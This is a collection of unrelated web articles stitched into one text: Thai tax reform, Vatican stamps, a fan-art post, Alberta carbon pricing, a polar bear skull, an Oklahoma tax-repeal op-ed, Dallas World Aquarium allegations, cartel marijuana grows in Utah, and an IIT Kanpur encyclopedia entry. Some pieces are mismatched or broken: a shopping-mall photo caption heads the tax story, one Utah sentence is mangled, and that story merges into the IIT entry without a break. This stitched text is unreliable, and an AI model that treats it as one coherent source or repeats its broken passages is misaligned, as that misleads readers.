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Shoppers rush to find bargains at Siam Discovery shopping complex, which is set to close for renovation on May 6 and reopen in next year's first quarter. The Finance Ministry's committee on tax reform will propose cutting the top personal income tax rate to dissuade people from paying the lower corporate income tax rate. (Photo by Wichan Charoenkiartpakun)
A tax reform roadmap, which cuts the maximum personal income tax rate and tax deductions and allowances and includes a proposed housing and land tax, is expected to be completed by November.
The top bracket for personal income tax will be proposed by the Finance Ministry's committee tasked with tax reform, and it plans to cut it to 28% from 35%.
The ceiling for taxable income will also be increased from more than 4 million baht now, said Kitipong Urapeepatanapong, a member of the 15-person committee, without providing details on other tax rates.
The current personal income tax structure sees taxable income of 150,000 baht or lower exempted, from 150,000 to 300,000 charged at 5%, from 300,000 to 500,000 charged 10%, from 500,000 to 750,000 charged 15%, from 750,000 to 1 million charged 20%, over 1 million up to 2 million charged 25%, over 2 million up to 4 million charged 30% and over 4 million levied 35%.
The proposal to lower personal income tax is aimed largely at discouraging some individuals from filing corporate income tax claims instead of personal income tax, said Mr Kitipong, who is also chairman of Baker & McKenzie's Bangkok branch.
He said some people paid corporate income tax instead, as the rate was far lower.
The corporate income tax rate is 20%, although the rate is closer to 28% if dividend-related tax is taken into account.
However, Mr Kitipong said the committee would also propose lowering deductions and allowances for personal income tax so it was fairer for all taxpayers.
The Finance Ministry earlier said the Revenue Department would set up a working panel to consider cutting either the ceiling tax deduction of 500,000 baht for investment in long-term equity funds (LTFs) or the overall deduction to 800,000 baht a year.
The tax incentive for investment in LTFs will come due at the end of next year.
Taxpayers can deduct contributions of up to 15% of their taxable income or 500,000 baht, whichever is lower, for investment in LTFs.
However, money invested in LTFs must be held for at least five calendar years.
Mr Kitipong said if the Finance Ministry intended to change the Revenue Code, which has been used for 70 years, it should based on Singapore's due to its transparency and clarity.
The committee will also propose a ceiling reward for whistleblowers on customs tax fraud of 10 million baht each, down from an unlimited amount now.
A shake-up of the appeals committee for tax issues is another planned measure, replacing state officials with third parties to create fairness.
Board of Investment tax privileges also need changing, Mr Kitipong said.
He said it was necessary to encourage all people regardless of income to file tax claims so the Revenue Department had them in their database.
"If we don't proceed with tax reform, it will be impossible to do so in the future," Mr Kitipong said.
"Previous elected governments failed to do anything even when one party had a majority vote." |
1929 Vatican City postage stamp featuring the image of Pope Pius XI
The Vatican post office has operated its own postal service and issued its own postage stamps since 1929.
The postal history of Vatican City begins shortly after its official foundation on 11 February 1929. Two days later, the Vatican post office began operating with supplies and equipment donated by the Italian government. Vatican City became a member of the Universal Postal Union on 1 June,[1] and then on 29 July Vatican City and Italy signed a postal agreement, going into effect on 1 August, providing for the routing of its mail through Rome.[2]
First stamps [ edit ]
The first of August also saw the issuance of the first Vatican stamps (Italian stamps were used previously), in the "Conciliation" definitive series of 15 values. The low values, 5 to 75 centesmi, depicted the heraldic arms, while the higher values (80 centesmi to 10 lira) featured a full-face portrait of the reigning Pope Pius XI.[3]
On 1 April 1933, the Vatican issued its first semi-postal stamps, a set of four marking the 24th Holy Year. On 31 May of the same year, the "Gardens and Medallions" definitives were issued. While the lowest value still depicted the coat of arms, higher values included views of the gardens and of St Peter's.
On 18 February 1939, just a little over Pius XI's death on 10 February, the arms stamps of 1929 were overprinted "SEDE VACANTE / MCMXXXIX". They remained valid until 3 March, the day after the election of Pope Pius XII.
Today [ edit ]
The Vatican has acquired a reputation for producing handsome and attractive issues in limited quantities (even today, the average production run for most issues is only between 300,000 and 500,000 stamps). Vatican stamps are produced under the authority of the Philatelic and Numismatic Office of the Vatican City State.
Much, but by no means all, of the mail handled by the Vatican is from tourists or official congregations of the Roman Curia. Many Romans, distrustful of the unreliable Italian post office, make weekly trips to the Vatican just to post their important letters. Italian stamps may not be used on Vatican mail nor vice versa. According to the Universal Postal Union, the Vatican post office is "one of the best postal systems in the world" and "more letters are sent each year, per inhabitant, from the Vatican's 00120 postal code than from anywhere else in the world."
See also [ edit ]
References and sources [ edit ]
Notes
Sources
Further reading [ edit ]
Antonellis, Albert A. Postal cards and aerogrammes of the Vatican City State, 1929-2007 . Waltham, MA.: A.A. Antonellis, 2008 CD-ROM.
. Waltham, MA.: A.A. Antonellis, 2008 CD-ROM. Bolaffi's Roman States and Vatican City specialized stamp catalogue . Turin: S.C.O.T. Editrice, 1958-79.
. Turin: S.C.O.T. Editrice, 1958-79. I francobolli dello Stato della Citta del Vaticano = Stamps of the Vatican City State . Citta del Vaticano: Governatorato S.C.V. Vol. 1: 1929-1976 (1977); Vol. 2: 1977-1980 (1981); Vol. 3: 1981-1986 (1986)
. Citta del Vaticano: Governatorato S.C.V. Vol. 1: 1929-1976 (1977); Vol. 2: 1977-1980 (1981); Vol. 3: 1981-1986 (1986) Heutger, Nicolaus C. Vatikanische Briefmarken: Kunst und Geschichte . Göttingen: Philapress, 1966 66p.
. Göttingen: Philapress, 1966 66p. Kehr, Ernest A. Vatican: the stamps and a description of their design and background prepared especially for stamp collectors . Newark, N.J.: Washington Press, 1956 48p.
. Newark, N.J.: Washington Press, 1956 48p. Kelen, Emery. Stamps tell the story of the Vatican . New York: Meredith Press, 1969 132p.
. New York: Meredith Press, 1969 132p. Pirozzi, Greg and James C. Hamilton. Vatican City collecting basics: a comprehensive introduction for collectors. Hanover, MD.: Vatican Philatelic Society, 2014 27p.
Coordinates: |
I am Reddit user AgainTheSaga.
My own headcanon revolving around TPP Touhou/Moe is that Amber and Athena are sisters. Since I wanted Athena to differentiate in looks to Alice, I altered her color scheme to match the host from Touhoumon. A quick synopsis about the way I've been viewing the stream is Amber and Athena, who both reside in Kanto, have received "the calling" from The Voices to become hosts. The catch? They have been summoned to tame two separate worlds that take place in the same timeline.
Athena is a little hesitant to accept this responsibility, as she has never been apart from her sister. Amber, on the other hand, is enthusiastic to become a heroine and a legendary "Host". After much deliberation, they both take heed to the calling and become separated; each transported to a different Kanto of an unfamiliar universe taking place at the same time. Their sisterly bond, however, crosses over time and space and, unbeknownst to them, the two girls make each decision simultaneously. When one takes a step to the right, the other does the same. This was an unpredictable side effect of The Voices having chosen siblings, but they have no control in keeping their decisions apart... the Voices are forced to try to guide two souls as one.
Side note: Yes yes, we can all see that I can't draw hands. Please forgive me >< |
Alberta has set out its competition-based plan to reduce carbon emissions from the province's big industries, but it's raising concerns from some about jobs and costs.
The regulations will give companies credits if their facilities produce less than a benchmark amount of emissions, while those that exceed the threshold will have to buy offsets or pay $30 for every tonne of emissions over the limit.
"The improved rules that we are releasing today will reward companies that use best practices and reward investment in modern and efficient facilities," said Environment Minister Shannon Phillips at a news conference in Calgary Wednesday.
"That's how we are going to create a race to the top in Alberta, by rewarding the top performers in each sector."
The stakes for the regulations are high, since the large emitters they cover produce about half of all of the province's emissions.
50-million tonne emissions cut by 2030
Alberta expects the new regulations to cut emissions by 20 million tonnes by 2020, and 50 million tonnes by 2030, equivalent to the emissions from about 11.5 million cars, said Phillips.
Costs are also expected to be high, with the government estimating the total value of levies per year coming in at upwards of $1.2 billion annually when in full force in 2020, though offsets and credits mean the government expects to take in closer to $800 million.
The new structure, called the Carbon Competitiveness Incentives, comes into place Jan. 1, 2018 and applies to facilities like oilsands operations, cement plants and fertilizer production that produce more than 100,000 tonnes of carbon dioxide a year.
The regulations will replace the Specified Gas Emitters Regulation currently in place, and will mean a big jump in costs, said Tim McMillan, head of the Canadian Association of Petroleum Producers.
"It looks like, by our calculations, about a five-fold increase in costs to our industry from the current carbon levy. And at a time when attracting capital is challenging and we're seeing increasing amounts of capital that traditionally came to Canada going to the U.S. and elsewhere, we're very sensitive to cost implications."
Leaked memo talked of job losses
The opposition United Conservative Party also raised concerns about the plan, demanding the government provide clear estimates on how many jobs the policy could cost and pointing to a leaked memo that estimated the losses could be in the thousands.
"The details in this document are shocking and all Albertans, especially those employed in the oil and gas sector, should be deeply concerned about how these policies will impact our economy," said UCP Opposition Leader Jason Nixon in a release.
To ease the transition and avoid big hits to industry, the government is phasing in the regulations, with industry paying 50 per cent of the costs next year and 75 per cent for 2019 before the full regulations take force for 2020.
The government has also committed to return some of industry's carbon levy back to it in the form of $1.4 billion in funding announced Tuesday.
The money includes $440 million specifically for steam-based oilsands operations to improve efficiencies and reduce emissions, plus money across sectors for innovation projects, energy efficiencies and loan guarantees for emission-reduction projects.
"This whole policy was designed around the protection of jobs and ensuring companies remain competitive," said Phillips. |
Archeologists studying the existence of “king” polar bears find information on these bears elusive. There is little information available from the indigenous people in northern Alaska.
But scientists say that they recovered the fourth largest polar bear skull ever recorded after a storm in 2014, the website Western Digs reported. The skull is just over 16 inches long and forms a bit of a cone in the back. It is believed to be 1,300 years old and may offer a glimpse into the past ecosystem in the region.
Archeologists are searching around Walapka, which is just south of Barrow. She said that 4,000 years ago their residents may have lived alongside the mammoth bear.
Dr. Anne Jensen told the website that those living in the area, descendants of the indigenous people, talk about mythological stories of “king bears” that were 12 feet long. She said the skull belonged to a fully grown bear because “all the cranial sutures” are fused together.
“The front part of the skull, from roughly the eyes forward, is like that of typical polar bears,” Jensen told the magazine. “The back part of the skull is noticeably longer than other bear skulls to which we were able to compare it.”
Polar bears, as we know them today, are generally between 4’4 to 6’6.
Jensen said it was possible that this skull belonged to a “subspecies.” She was asked if there is likely more polar bears this size wandering around in the arctic and she said “certainly.” |
Art Laffer speaks in Oklahoma City in 2011
The state has proposed a radically pro-growth agenda.
When Ron Paul talks about repealing the income tax and replacing it with nothing, most people think it can’t be done. But at least on the state level, it can. In fact, there are nine states, including Paul’s home state of Texas, that don’t levy income taxes. Those states have far outperformed high-income-tax states on every measure of economic success. Now Oklahoma is poised to fully repeal its income tax and join the ranks of non-income-tax states. While Oklahoma is already a relatively business-friendly, low-tax state, income-tax repeal would launch it into the top tier of the most economically competitive states and the best places to live and work.
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The Oklahoma income-tax repeal plan was developed by supply-side guru Art Laffer’s econometric firm, in partnership with the Oklahoma Council of Public Affairs, the state’s free-market think tank. Their study found that phasing out the state income tax would more than double personal-income growth, boost the size of Oklahoma’s economy by more than 20 percent, and create an additional 312,000 jobs over the next decade.
#ad#The record is clear. Over the past decade, non-income-tax states have seen 59 percent economic growth, versus just 38 percent for high-income-tax states. Job growth has been 4.7 percent in the non-income-tax states, while high-income-tax states actually lost 2.9 percent of their jobs. Population growth is the same story, up 12.3 percent in the non-income-tax states and just 3.8 percent in the high-income-tax states. Perhaps most interestingly, non-income-tax states are seeing more rapid growth in state and local tax revenue, as the high-income-tax states are undermining economic performance and, as a consequence, depressing revenues.
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Oklahoma has been strong economically over the past decade, but has lagged behind Texas in every measure. And while Oklahoma is business-friendly, Texas — with no income tax — is an attractive option for Oklahoma companies looking to relocate.
The Laffer-OCPA plan starts by replacing the existing Oklahoma income tax, a progressive tax with a top rate of 5.25 percent, with a flat tax that eliminates all deductions, credits, and loopholes. According to the Oklahoma Tax Commission, such a flat tax would have to be set at 3 percent to replace current income-tax revenue levels, but the Laffer-OCPA plan cuts it to 2.25 percent in 2013, and then cuts it by an additional 0.25 percentage points each year, until the income tax is fully repealed in 2022.
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These tax cuts would trigger an economic boom that would offset about half the lost revenue from the plan. It would also significantly increase local-government revenues and decrease spending pressures by reducing the number of people enrolled in state-run welfare programs, including Medicaid. While additional spending restraint would be needed to balance the budget during the phase-out period, overall state spending could continue to grow.
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The plan already has broad legislative support. It was introduced with 23 cosponsors in the State House as HB 3038. “In the past decade, states without a personal income tax outpaced Oklahoma in economic growth and job creation,” said state representative David Brumbaugh, a principal author of the bill.
Companion legislation in the State Senate, SB 1587, has four initial sponsors. State senator David Holt explained: “We are committed to making sure Oklahoma’s government delivers on its core missions, but we also cannot ignore the economic growth happening in states without income tax.”
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State representative Leslie Osborn, another principal author of the bill, added: “Our goal is to transform Oklahoma into the best place to do business, the best place to live, find a quality job, raise a family, and retire in all of the United States. Not just better than average, but the very best.”
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Isn’t that what all our elected officials should be focused on? Wouldn’t it be great if all of our state governments competed with each other with pro-growth tax, spending, and regulatory policies to attract as much investment and create as much economic growth as possible? Oklahoma legislators are leading the way by putting this aggressive pro-growth proposal on the table. We hope they succeed.
— Phil Kerpen is vice president for policy at Americans for Prosperity and the author of Democracy Denied (BenBella Books, 2011). Stuart Jolly is state director for Americans for Prosperity — Oklahoma. |
You hear it, or see it if you're online, every time someone asks what they should do while visiting Dallas. One of the quickest responses is always 'go check out the Dallas World Aquarium.' Some mention of penguins or rare birds and how it's a little expensive ($20.95) but worth it usually follows.
An article published yesterday by The New Republic's Ben Crair is enough to give any potential advocates for the aquarium second thoughts.
The DWA, as described by Crair, is a place where staff raped on aquarium property are called liars by management, dead jaguars are found with toucan beaks in their stomachs, and owner Daryl Richardson does whatever he needs to do to get the species he wants, conservation practices be damned.
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Related Stories BBC Documentary to Feature Dallas World Aquarium's Manatee Rescue Program
Crair's reporting centers on Richardson's quest to acquire a population of pygmy sloths, a species unique to Isla Escudo de Veraguas, an island off the coast of Panama. Richardson got permits to bring the animals back to the DWA and establish a captive breeding population from the Panamanian government, but local environmentalists kept Richardson and his team from leaving a remote airport with the animals.
Richardson's attempted sloth extraction happened in September 2013. Shortly thereafter, Mongabay, an environmental news website, reported the story along with the negative opinions of the zoological community. As a result, the sloths were placed on the Convention on the International Trade in Endangered Species list of protected species, but not before two of the animals Richardson tried to bring back to Dallas died.
The rest of Crair's story outlines Richardson's status as a rare independent operator in an era when most zoos hold themselves to industry standards and feature similar animal populations. Richardson seeks out exotic animals, leading to unique challenges for the DWA. From Crair:
Because Richardson prized species not kept in other zoos, he would sometimes bring in animals whose husbandry had not been studied. When he first imported three-toed sloths in 1998, he and his staff had almost no idea how to care for them. "The only information we knew was from old textbooks and some observations in the wild," Raines said. "We were just making it up as we went along." By the end of 2003, Richardson had attempted to incorporate at least twelve three-toed sloths into his collection, and eleven had died. In the wild these animals can live up to 40 years.
Richardson reportedly released massive shipments of birds in the DWA's aviary, and then simply ordered more when the population got low. Since 2001, the DWA has brought in 175 euphonias, but it only lists 60 as being among its current population.
Employees of the zoo weren't spared from Richardson's mismanagement either, according to Crair:
In 2003, Richardson bought a group of little blue penguins from Marineland in Florida and hired their keeper. Her responsibilities at the Dallas World Aquarium grew quickly. She dove with the manatees, announced the flamingo shows, and helped train the giant otters. "It was my life," she would say later, and Richardson seemed to appreciate her hard work. He promoted her to lead mammal keeper and his mother kept a photo of her with Richardson's dog, Mia, by her desk. It was a remarkable welcome from a man whose generosity never quite translated to warmth. "Daryl is one of the most charming people you'll ever want to meet," said a former employee. "But deep down inside, he's actually a very shy man." The penguin keeper's work was brutally interrupted on a February evening in 2005. According to a lawsuit she filed later in Dallas District Court, she was raped when checking birds on the Dallas World Aquarium's loading docks. She did not report the attack to the police, and the assailant, who she believed had snuck onto the premises, was never identified. She told Richardson about the attack, before taking a leave of absence on the advice of her doctor. The penguin keeper returned to a workplace she said was so hostile that she eventually sued Richardson on several counts, including the intentional infliction of emotional distress. Her lawsuit alleged that Richardson had "instructed various Aquarium employees that Plaintiff was not raped, that Plaintiff was a 'bad person' and to treat Plaintiff as poorly as possible upon her return so Plaintiff would quit." The penguin keeper also claimed that Richardson demoted her from leading animal shows to swabbing the penguin pool. Richardson, her lawyers said, "even went so far as to make her swim with sharks--the one task at the aquarium about which Richardson knew [she] was petrified."
Check out the whole thing, which features a bunch more on the weird history of the place, before you send any more money Richardson's way. |
SALT LAKE CITY -- Notorious Mexican drug cartels have their tentacles in Utah, and the top drug enforcement agent in Utah calls it "the greatest threat to public safety."
"The traffickers made no money in Utah last year, and this is about greed," said Frank Smith, DEA Assistant Special Agent in Charge of Utah. "If we can stop them from making a profit, they're going to go away."
But that won't happen right away, and the Smith warned Utahns to be cautious in the backcountry this spring and summer. He said Mexican drug cartels are developing and hiding more large-scale marijuana grows on our state's public lands, especially in southern Utah. Federal agents are waging a war against those cartels.
Dateline NBC's Chris Hansen tackled the topic last night on the program. Monday, KSL talked with Hansen and Smith about just how dangerous these farms are to the people of Utah. Smith said what keeps him up at night is the fear that innocent people will stumble into a confrontation.
"They steal the land, they steal the water, and then they decimate the environment," Smith said.
He's passionate about busting marijuana farms on public lands. He said they couldn't do it without the help of local and state resources in Utah's southern counties. They've been fighting pot farms for years, but the enemy has changed.
"They steal the land, they steal the water, and then they decimate the environment. - Frank Smith
The drug team spent many hours gathering intelligence, hiking to remote pot farms and setting up surveillance to gather even more evidence. They raided one growing operation with the Dateline crew, as the cartel's farmers and armed guards fled.
Chris Hansen said he was amazed by what he witnessed.
"It was massive, and it looked like it had been professionally grown in a green house someplace," Hansen said. "It's a sophisticated operation with irrigation. These were very mature plants, and in some cases these were worth $20 (million) to $40 million on the street."
Each of the last two summers, Mexican drug cartels took over large tracts of Utah wilderness and set up dozens of these sophisticated, irrigated operations. Smith estimates they know where 25 percent to 35 percent of the grows are located.
"Last year we eradicated over 78,000 plants," he said. "So, it's a half a billion to a billion dollar industry, here in Utah alone."
The cartels sell the marijuana in the U.S. and send the money back to Mexico to help continue to run their criminal enterprises. The crews are armed and dangerous.
"What's going to happen when a family of hikers stumbles across one of these grows?" Hansen asked. "With $20 (million) to $40 million on the line, do you think these growers are just going to let these people go? No."
That is Smith's greatest fear. Two years ago, he said, a cartel gunman held several teen girls at gunpoint in Garfield County's office apprehended the suspect with assistance from the DEA.
"They don't care about the well-being of American citizens or the well-being of our environment," he said.
According to Smith, the cartel crews dump illegal fertilizers into the ground, along with human waste, and other trash. The agents even discover multiple car batteries for used for charging their cell phones, to keep in touch with their bosses.
Last summer, KSL showed some of their success as the DEA worked with Utah law enforcement to arrest nearly 40 drug growers. Smith said the number of farms dropped last year, too.
"So, we're having success," he said. "We just have to be diligent. We have to be strong and not yield to these traffickers."
If you come across a marijuana grow, agents say, leave immediately, go back the way you came and call law enforcement. If you have a GPS device, take down the coordinates. Otherwise, make note of substantial landmarks so you can help law enforcement find it later.
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Indian Institute of Technology Kanpur (also known as IIT Kanpur or IITK) is a public engineering institution located in Kanpur, Uttar Pradesh. It was declared to be an Institute of National Importance by the Government of India under the Institutes of Technology Act.
Established in 1960 as one of the first Indian Institutes of Technology, the institute was created with the assistance of a consortium of nine US research universities as part of the Kanpur Indo-American Programme (KIAP).[4][5]
History [ edit ]
Faculty Building, IIT Kanpur
IIT Kanpur was established by an Act of Parliament in 1959. The institute was started in December 1959 in a room in the canteen building of the Harcourt Butler Technological Institute at Agricultural Gardens in Kanpur. In 1963, the institute moved to its present location, on the Grand Trunk Road near the locality of Kalyanpur in Kanpur district.[6]
During the first ten years of its existence, a consortium of nine US universities (namely M.I.T, University of California, Berkeley, California Institute of Technology, Princeton University, Carnegie Institute of Technology, University of Michigan, Ohio State University, Case Institute of Technology and Purdue University) helped set up IIT Kanpur's research laboratories and academic programmes under the Kanpur Indo-American Programme (KIAP).[7] The first Director of the Institute was P. K. Kelkar (after whom the Central Library was renamed in 2002).[8]
Under the guidance of economist John Kenneth Galbraith, IIT Kanpur was the first institute in India to offer Computer science education.[9][10] The earliest computer courses were started at IIT Kanpur in August 1963 on an IBM 1620 system. The initiative for computer education came from the Electrical engineering department, then under the chairmanship of Prof. H.K. Kesavan, who was concurrently the chairman of Electrical Engineering and head of the Computer Centre. Prof. Harry Huskey of the University of California, Berkeley, who preceded Kesavan, helped[11] with the computer activity at IIT-Kanpur.[12] In 1971, the institute began an independent academic program in Computer Science and Engineering, leading to M.Tech. and Ph.D. degrees.[13]
In 1972 the KIAP program ended, in part because of tensions due to the U.S. support of Pakistan. Government funding was also reduced as a reaction to the sentiment that the IIT's were contributing to the brain drain.
Campus [ edit ]
IIT Kanpur panorama from Hall 7
IIT Kanpur is located on the Grand Trunk Road, 15 kilometres (9.3 mi) west of Kanpur City and measures close to 420 hectares (1,000 acres). This land was donated by the Government of Uttar Pradesh in 1960 and by March 1963 the Institute had moved to its current location.
PK Kelkar Library
The institute has around 6478 students with 3938 undergraduate students and 2540 postgraduate students and about 500 research associates.
Noida Extension centre [ edit ]
IIT Kanpur is to open an extension centre in Noida with the plan of making a small convention centre there for supporting outreach activities. Its foundation was laid on 4 December 2012 on 5 acres of land allocated by Uttar Pradesh state government in the sector-62 of Noida city, which is less than an hour`s journey from New Delhi and the Indira Gandhi International Airport. The cost of construction is estimated to be about 25 crores. The new campus will have an auditorium, seminar halls for organising national and international conferences and an International Relations Office along with a 7-storey guest house. Several short-term management courses and refresher courses meant for distance learning will be available at the extension center.News from. IITK. Retrieved on 9 October 2013.
Helicopter service [ edit ]
Being a major industrial town, Kanpur has a good connectivity by rail and by road but it lags in terms of air connectivity. IIT Kanpur was suffering significantly in comparison to IIT Delhi and IIT Bombay due to this reason as far as visiting companies and other dignitaries are concerned On 1 June 2013, a helicopter ferry service was started at IIT Kanpur run by Pawan Hans Helicopters Limited. In its initial run the service connects IIT Kanpur to Lucknow, but it is planned to later extend it to New Delhi. Currently[when?] there are two flights daily to and from Lucknow Airport with a duration of 25 minutes. Lucknow Airport operates both international and domestic flights to major cities. IIT Kanpur is the first academic institution in the country to provide such a service.[14][15] [16] The estimated charges are Rs. 6000 (USD $100) per person. If anyone would like to avail the facility he/she have to contact Student Placement Office (SPO) at IIT Kanpur, since the helicopter service is subject to availability of chopper rights. The campus also has airstrips which allows flight workshops and joyrides for students.[17]
New York Office [ edit ]
The Institute has set up an office in New York with alumnus, Sanjiv Khosla designated as the overseas brand ambassador of the institute. It is located on 62, William Street, Manhattan. The office aims to hunt for qualified and capable faculty abroad, facilitate internship opportunities in North American universities and be conduit for research tie ups with various US universities.[18] The New York Office also tries to amass funds through the alumni based there. A system that invites students and faculty of foreign institutes to IIT Kanpur is also being formulated.[19]
Admissions [ edit ]
Undergraduate admissions until 2012 were being done through the national-level Indian Institute of Technology Joint Entrance Examination (IIT-JEE). Following the Ministry of Human Resource Development's decision to replace IIT-JEE with a common engineering entrance examination, IIT Kanpur's admissions are now based on JEE (Joint Entrance Examination) -Advanced level along with other IITs.
Postgraduate admissions are made through the Graduate Aptitude Test in Engineering and Common Aptitude Test.[20]
Student life [ edit ]
National events [ edit ]
Students' Gymkhana [ edit ]
The Students' Gymkhana is the students' government organization of IIT Kanpur, established in 1962.[27]
The Students' Gymkhana functions mainly through the Students' Senate, an elected student representative body composed of Senators elected from each batch and the five elected executives:
President, Students' Gymkhana.
General Secretary Cultural Council.
General Secretary Films and Media Council.
General Secretary Games and Sports Council.
General Secretary Science and Technology Council.
The number of Senators in the Students' Senate is around 50-55. A senator is elected for every 100 students of IIT Kanpur.
The meetings of the Students' Senate are chaired by the Convener, Students' Senate, who is elected by the Senate. The Senate lays down the guidelines for the functions of the executives, their associated councils, the Gymkhana Festivals and other matters pertaining to the Student body at large.
The Students' Senate has a say in the policy and decision making bodies of the institute. The President, Students' Gymkhana and the Convener, Students' Senate are special Invitees to the Institute Academic Senate. The President is usually invited to the meetings of the Board of Governors when matters affecting students are being discussed. Nominees of the Students' Senate are also members of the various standing Committees of the Institute Senate including the disciplinary committee, the Undergraduate and Postgraduate committee, the scholarship committee etc. All academic departments have Departmental Undergraduate and Post Graduate Committees consisting of members of the faculty and nominees of the Students' Gymkhana.
Rankings [ edit ]
Internationally, IIT Kanpur was ranked 283 in QS World University Rankings for 2019.[28][40] It was ranked 59 in QS Asia Rankings 2018[30] and 21 among BRICS nations.[29] The Times Higher Education World University Rankings ranked it 501-600 globally in the 2018 ranking[31] 81 in Asia[33] and 32 among BRICS & Emerging Economies University Rankings 2017.[32]
In India, among engineering colleges, it ranked third by India Today in 2017,[36] fourth in India by Outlook India[37] and fifth by The Week.[38] It was ranked fifth among engineering colleges in India by the National Institutional Ranking Framework (NIRF) in 2018,[35] and seventh overall.[34]
The Department of Industrial and Management Engineering was ranked 17 among management schools in India by NIRF in 2018.[39]
Academic bodies and activities [ edit ]
IIT Kanpur Faculty Building
IIT Kanpur offers various courses on management and social sciences.
Undergraduate [ edit ]
IIT Kanpur offers four-year B.Tech programs in Aerospace Engineering, Biological Sciences and Bio-engineering, Chemical Engineering, Civil Engineering, Computer Science and Engineering, Electrical Engineering, Materials Science and Engineering and Mechanical Engineering. The admission to these programs is procured through Joint Entrance Examination. IITK offers admission only to bachelor's degree now (discontinuing the integrated course programs), but it can be extended by 1 year to make it integrated, depending on the choice of student and based on his/her performance there at undergraduate level. IIT Kanpur also offers four-year B.S. Programs in Pure and Applied Sciences (Mathematics, Physics and Chemistry in particular), Earth Science and Economics.[41]
New academic system [ edit ]
From 2011, IIT Kanpur has started offering a four-year BS program in sciences and has kept its B.Tech Program intact. Entry to the five-year M.Tech/MBA programs and Dual degree programme will be done based on the CPI of students instead of JEE rank.[42] In order to reduce the number of student exams, IIT Kanpur has also abolished the earlier system of conducting two mid-term examinations. Instead, only two examinations (plus two quizzes in most courses depending on the instructor-in-charge, one before mid-semesters and the other after the mid-semesters and before the end-semesters examination), one between the semester and other towards the end of it would be held from the academic session starting July 2011 onward as per Academic Review Committee's recommendations.
Postgraduate [ edit ]
Postgraduate courses in Engineering offer Master of Technology (M.Tech), MS (R) and Ph.D. degrees. The institute also offers two tier M.Sc. courses in areas of basic sciences in which students are admitted through Joint Admission Test for M.Sc.(JAM) exam. The institute also offers M.Des. (2 years), M.B.A. (2 years) and M.Sc. (2 years) degrees. Admissions to M. Tech is made once a year through Graduate Aptitude Test in Engineering. Admissions to M. Des are made once a year through both Graduate Aptitude Test in Engineering(GATE) and Common Entrance Exam for Design(CEED). Until 2011, admissions to the M.B.A. program were accomplished through the Joint Management Entrance Test (JMET), held yearly, and followed by a Group Discussion/Personal Interview process. In 2011, JMET was replaced by Common Admission Test (CAT).[43][44]
Departments [ edit ]
The academic departments at IIT Kanpur are:
Laboratories and other facilities [ edit ]
Department of Computer Science and Engineering at IIT Kanpur
Samtel Research and Development Building
The campus is spread over an area of 4.3 square kilometres (1,100 acres). Facilities include the National Wind Tunnel Facility. Other large research centres include the Advanced Centre for Material Science, a Bio-technology centre, the Advanced Centre for Electronic Systems, and the Samtel Centre for Display Technology, Centre for Mechatronics, Centre for Laser Technology, Prabhu Goel Research Centre for Computer and Internet Security, Facility for Ecological and Analytical Testing. The departments have their own libraries.
The institute has its own airfield, for flight testing and gliding.
PK Kelkar Library (formerly Central Library) is an academic library of the institute with a collection of more than 300,000 volumes, and subscriptions to more than 1,000 periodicals. The library was renamed to its present name in 2003 after Dr. P K Kelkar, the first director of the institute. It is housed in a three-story building, with a total floor area of 6973 square metres. The Abstracting and Indexing periodicals, Microform and CD-ROM databases, technical reports, Standards and thesis are in the library. Each year, about 4,500 books and journal volumes are added to the library.
The Western Labs
The New Core Labs (NCL) is 3 storey building with state of the art physics and chemistry laboratories for courses in the first year. The New Core Labs also has Linux and Windows computer labs for the use of first year courses and a Mathematics department laboratory housing machines with high computing power.
IIT Kanpur has set up the SIDBI Innovation and Incubation Centre(SIIC) in collaboration with the Small Industries development Bank of India (SIDBI) aiming to aid innovation, research, and entrepreneurial activities in technology-based areas. SIIC helps business Start-ups to develop[clarification needed] their ideas into commercially viable products.
A team of students, working under the guidance of faculty members of the institute and scientists of Indian Space Research Organisation (ISRO) have designed and built India's first nano satellite Jugnu, which was successfully launched in orbit on 12 Oct 2011 by ISRO's PSLV-C18.[45]
Computer Centre [ edit ]
The Computer Centre is one of the advanced computing service centre among academic institution in India. IT hosts IIT Kanpur website and provides personal web space for students and faculties. It also provides a spam filtered email server and high speed fibre optic Internet to all the hostels and the academics. Users have multiple options to choose among various interfaces to access mail service. It has Linux and windows laboratories equipped with dozens of high-end software like MATLAB, Autocad, Ansys, Abaqus etc. for use of students. Apart from departmental computer labs, computer centre hosts more than 300 Linux terminals and more than 100 Windows terminals and is continuously available to the students for academic work and recreation. Computer centre has recently adopted an open source software policy for its infrastructure and computing. Various high-end compute and GPU servers are remotely available from data centre for user computation.
Computer centre has multiple super computing clusters for research and teaching activity. In June 2014 IIT Kanpur launched their 2nd supercomputer which is India’s 5th[46] most powerful supercomputer as of now. The new supercomputer 'Cluster Platform SL230s Gen8' manufactured by Hewlett-Packard has 15,360 cores and a theoretical peak (Rpeak) 307.2 TFlop/s and is the world's 192th most powerful supercomputer as of June 2015.[47]
Students' research related activity [ edit ]
Research is controlled by the Office of the Dean of Research and Development. Under the aegis of the Office the students publish the quarterly NERD Magazine (Notes on Engineering Research and Development) which publishes scientific and technical content created by students. Articles may be original work done by students in the form of hobby projects, term projects, internships, or theses. Articles of general interest which are informative but do not reflect original work are also accepted. The institute is part of the European Research and Education Collaboration with Asia (EURECA) programme since 2008.[48]
Along with the magazine a student research organisation, PoWER (Promotion of Work Experience and Research) has been started. Under it several independent student groups are working on projects like the Lunar Rover for ISRO, alternate energy solutions under the Group for Environment and Energy Engineering, ICT solutions through a group Young Engineers, solution for diabetes, green community solutions through ideas like zero water and zero waste quality air approach. Through BRaIN (Biological Research and Innovation Network) students interested in solving biological problems get involved in research projects like genetically modifying fruit flies to study molecular systems and developing bio-sensors to detect alcohol levels. A budget of Rs 1.5 to 2 crore has been envisaged to support student projects that demonstrate technology.
The students of IIT Kanpur made a nano satellite called Jugnu, which was given by president Pratibha Patil to ISRO for launch. Jugnu is a remote sensing satellite which will be operated by the Indian Institute of Technology Kanpur. It is a nanosatellite which will be used to provide data for agriculture and disaster monitoring. It is a 3-kilogram (6.6 lb) spacecraft, which measures 34 centimetres (13 in) in length by 10 centimetres (3.9 in) in height and width. Its development programme cost around 25 million rupees. It has a design life of one year. Jugnu's primary instrument is the Micro Imaging System, a near infrared camera which will be used to observe vegetation. It also carries a GPS receiver to aid tracking, and is intended to demonstrate a microelectromechanical inertial measurement unit.
IITK Motorsports
